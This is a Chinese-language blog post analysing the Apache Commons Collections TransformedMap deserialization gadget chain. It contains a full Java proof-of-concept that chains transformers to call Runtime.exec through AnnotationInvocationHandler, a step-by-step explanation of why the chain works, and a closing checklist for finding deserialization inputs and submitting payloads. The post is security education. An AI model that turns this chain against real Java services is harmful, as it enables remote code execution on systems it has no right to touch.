Apache Common-collection 反序列化利用链解析


TransformedMap链

参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)

poc

package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map; public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
}; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap();
innerMap.put("value","asdf"); Map outerMap = TransformedMap.decorate(innerMap,null,chain); // 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

利用链原理分析

首先我们来看Transformer类。其中transform方法可以看作将一个对象转换为另一个对象。

我们看看有哪些方法实现了Transformer接口。ctrl+H查找一下

我们一个个步入看一下。

首先先来看InvokerTransformer.

这个类还实现了Serializable接口,说明其能够进行序列化。


再来看一下 ConstantTransformer类,构造函数接受参数,没什么特别的。

再来看一下ChainedTransformer

通过InvokerTransformer, ConstantTransformer,ChainedTransformer这三个类我们可以推出一条基础的利用链。

我们来看看poc前半部分,注释为ChainedTransformer调用transform方法的结果

  Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),//第一次transform,输入为Runtime.class,返回结果为Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//第二次transform,输入为Runtime.class,返回为Method对象getRuntime。
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),//第三次transform,输入为Method对象getRuntime,返回是Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};//最后一次transform,即runtime.exec("calc.exe"),弹出计算器 Transformer chain = new ChainedTransformer(transformers_exec);//将数组转换成链

这里之前有疑惑,为什么需要调用invoke方法。将这行注释掉之后,会发现报错。

才发现getMethod返回的对象是Method对象,不能直接调用exec,才需要invoke。这里后续需要去仔细查看一下method.invoke方法。

接下来会碰到TransformedMap这个类,调用decorate这个函数,会调用这个构造函数,将参数保存到对象中。

Map类 --> TransformedMap

  Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

  至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。


接着分析poc

  	    HashMap innerMap = new HashMap();
innerMap.put("value","asdf"); Map outerMap = TransformedMap.decorate(innerMap,null,chain);//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。

到了这一步,我们需要调用map的SetValue函数,才能触发transform。那么反序列化中readobject如何调用这个函数呢?

看看sun.reflect.annotation.AnnotationInvocationHandler。

这个类的构造函数正好接受了一个Map对象。

再看看readobject方法

看看poc,接下来就是传入含有恶意代码的map,实例化AnnotationInvocationHandler类。并对其进行序列化,反序列化。

  // 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);//获取参数为class和map的构造函数
cons.setAccessible(true);//取消安全访问机制,可以使用private函数
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);//使用构造函数 // 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();

总结一下,本条链的思路:

​ 首先本质是使用反射来实现方法的执行,即InvokerTransformer类。然后由于runtime.exec()方法只使用一次InvokerTransformer无法完成调用,便考虑配合ConstantTransformer与ChainedTransformer构造方法执行链。完成方法执行链的构造后,我们需要想办法触发这条链。此时便找到了TransformedMap,当修改TransformedMap对象的映射内容时,会自动调用transform方法。将chain保存到TransformedMap对象的Value中。最后,思考如何使用readobject调用setvalue方法改变value值,发现AnnotationInvocationHandler正好符合要求。便将其作为对象,TransformedMap对象作为参数进行实例化。而后进行序列化,反序列化即可。

反序列化时的调用流程: readobject() --> setValue() --> transform() 调用方法执行链实现代码

漏洞利用

1.漏洞触发场景   在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:  
1)HTTP请求中的参数,cookies以及Parameters。  
2)RMI协议,被广泛使用的RMI协议完全基于序列化  
3)JMX 同样用于处理序列化对象  
4)自定义协议 用来接收与发送原始的java对象
2. 漏洞挖掘  
(1)确定反序列化输入点    
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:    
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。  
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等    注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。  
(2)再考察应用的Class Path中是否包含Apache Commons Collections库  
(3)生成反序列化的payload  
(4)提交我们的payload数据

Apache Common-collection 反序列化利用链解析--TransformedMap链的更多相关文章

  1. Common lang一些边界方法总结(好记性不如烂笔头,需要慢慢积累).一定要利用好现有的轮子,例如Apache common与Google Guava

    好记性真是不如烂笔头啊!!!! 如下代码: List<String> list = new ArrayList<String>(); list.add("1" ...

  2. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  3. WEB文件上传之apache common upload使用(一)

    文件上传一个经常用到的功能,它有许多中实现的方案. 页面表单 + RFC1897规范 + http协议上传 页面控件(flash/html5/activeX/applet) + RFC1897规范 + ...

  4. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  5. Apache Common DbUtils

    前段时间使用了Apache Common DbUtils这个工具,在此留个印,以备不时查看.大家都知道现在市面上的数据库访问层的框架很多,当然很多都是包含了OR-Mapping工作步骤的 例如大家常用 ...

  6. org.apache.common.io-FileUtils详解

    org.apache.common.io---FileUtils详解 getTempDirectoryPath():返回临时目录路径; public static String getTempDire ...

  7. python爬虫:利用BeautifulSoup爬取链家深圳二手房首页的详细信息

    1.问题描述: 爬取链家深圳二手房的详细信息,并将爬取的数据存储到Excel表 2.思路分析: 发送请求--获取数据--解析数据--存储数据 1.目标网址:https://sz.lianjia.com ...

  8. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  9. [转帖]深度解析区块链POW和POS的区别

    深度解析区块链POW和POS的区别 Proof of Work 还有Proof of Stake 之前理解程了 state ... 股权的意思 还有 delegated proof of Stake ...

随机推荐

  1. PS-头发丝抠图

    [PS版本]Photoshop CS5 [主题]头发丝抠图 [操作步骤] 第一步:打开待处理图片,复制图层: 第二步:快速选择工具选择主体(也可用魔术棒用具选择背景色,然后反向): 第三步:点击&qu ...

  2. Linux 三剑客(1)- grep

    作用 在文件或标准输入中,通过正则表达式查找对应的内容 语法格式 grep [选项]... PATTERN [FILE]... grep的常用选项参数 参数选项 描述 -G 默认值 -F 相当于使用f ...

  3. redis存取数据list

    登录redis客户端 一.存取数据 1.左右添加数据 2.读取数据lrange 3.左右固定弹出一个元素 4.列表中个数 5.删除元素值为value的元素 count 值要自己给定: 6.获取和设置指 ...

  4. 放码来战!HMS Core线上Codelabs挑战赛正式开始

    亲爱的开发者,在1024程序员节即将到来之际,HMS Core准备了一场线上Codelabs挑战赛,现向你发出诚挚邀请,希望你能将新奇的想法和对产品的思考融入代码,用技术与世界对话. HMS Core ...

  5. gentoo(贱兔) Linux作业系统的基本使用

    emerge是gentoo linux的portage包管理器的命令行工具emerge的基础使用:emerge 软件包名:安装某软件包 emerge nanoemerge --ask 软件包名:交互式 ...

  6. C#导出数据—使用Word模板

    前言 本文主要介绍C#使用标签替换的方法导出数据,导出的数据模板使用Word文档. 模板建立 首先创建一个Word文档,然后建立一个基础模板.然后将上方菜单切换到插入菜单. 然后在想填充数据的地方添加 ...

  7. xadmin使用富文本

    环境:pycharm django1.11.20 python2.7 后台xadmin(根据网络各种资料实现) 本教程接上篇如何安装 xadmin,如何不清楚,请看上一篇(django安装xadmin ...

  8. pyqt5无边框拖动

    from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import * import sys class ...

  9. 经典软件测试面试题目:Android 和 ios 测试区别?这样回答:稳!

    Android 和  ios 测试区别? App 测试中 ios 和 Android 有哪些区别呢?1.Android 长按 home 键呼出应用列表和切换应用,然后右滑则终止应用:2.多分辨率测试, ...

  10. Git提交时默认编辑器Vim换成Notepad++

    在使用GIT进行commit时,会默认使用Vim,其使用较为笨重,改为Notepad++编辑器较为简便. git commit 默认打开Notepad++编辑器配置: 打开git --- bash,输 ...